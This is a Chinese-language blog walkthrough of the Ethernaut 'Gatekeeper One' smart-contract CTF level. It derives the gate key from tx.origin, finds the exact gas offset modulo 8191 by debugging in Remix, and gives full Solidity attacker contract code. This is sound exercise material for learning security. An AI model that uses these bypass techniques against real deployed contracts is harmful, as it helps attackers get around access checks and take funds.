13. Gatekeeper One

本關要通過三個modifier的gate,代表呼叫合約函數必須滿足三個要求。

gateOne:

 require(msg.sender != tx.origin);

只需以另一合約呼叫關卡合約即可,跟4. Telephone一樣的要求。

gateThree:

require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");

先把tx.origin 取出來,令其在型態轉換時滿足上兩個要求,可用以下代碼達成︰

bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;

gateTwo:

require(gasleft().mod(8191) == 0);

根據官方文檔,gasleft函數會回傳剩餘的gas數量。

gasleft() returns (uint256): remaining gas

要知道在呼叫這句時gasleft會回傳什麼,最方便的方法就是使用Remix IDE發佈攻撃合約再以Debug查看。

下面為暫定的攻撃合約代碼︰

pragma solidity ^0.8.0;

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOne {
    address levelInstance;

    constructor(address _levelInstance) {
        levelInstance = _levelInstance;
    }

    function open() public {
        bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
        IGatekeeperOne(levelInstance).enter{gas: 40955}(key);
    }
}

下面為了解呼叫流程而在Remix IDE裹同時發佈了關卡合約及攻撃合約,設定Gas為40955,並以JavaScript VM Debug︰

可以看到在呼叫mod時Stack有兩個參數,其一為1fff (8191的16進制),另一為9efd (40701),就是從gasleft傳出又傳入mod作運算的數字。

可算出到gasleft函數為止花費Gas為40955-40701=254。

此時若把Gas換為254+8191*5 = 41209,再在JavaScript VM中運行一次,呼叫成功,可證思路正確。

此時回到測試網,我們會發現同一個數字在測試網中會回傳錯誤,這可能是因為compiler優化問題等因素影響。

再開啟Debug,這次留意看Stack中出現1fff (8191) 的前後,會發現這次是a026 (40998) ,對照上方的remaining gas: 40998,可以確定這是Gas的數量。

可見在測試網上到gasleft函數為止花費Gas為41209-40998=211,的確是有優化。

這次把數字換成211+8191*5=41166,完整代碼︰

pragma solidity ^0.8.0;

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOne {
    address levelInstance;

    constructor(address _levelInstance) {
        levelInstance = _levelInstance;
    }

    function open() public {
        bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
        IGatekeeperOne(levelInstance).enter{gas: 41166}(key);
    }
}

然後發送,呼叫成功。最後按提交,本關完成。

發表留言

%d 位部落客按了讚: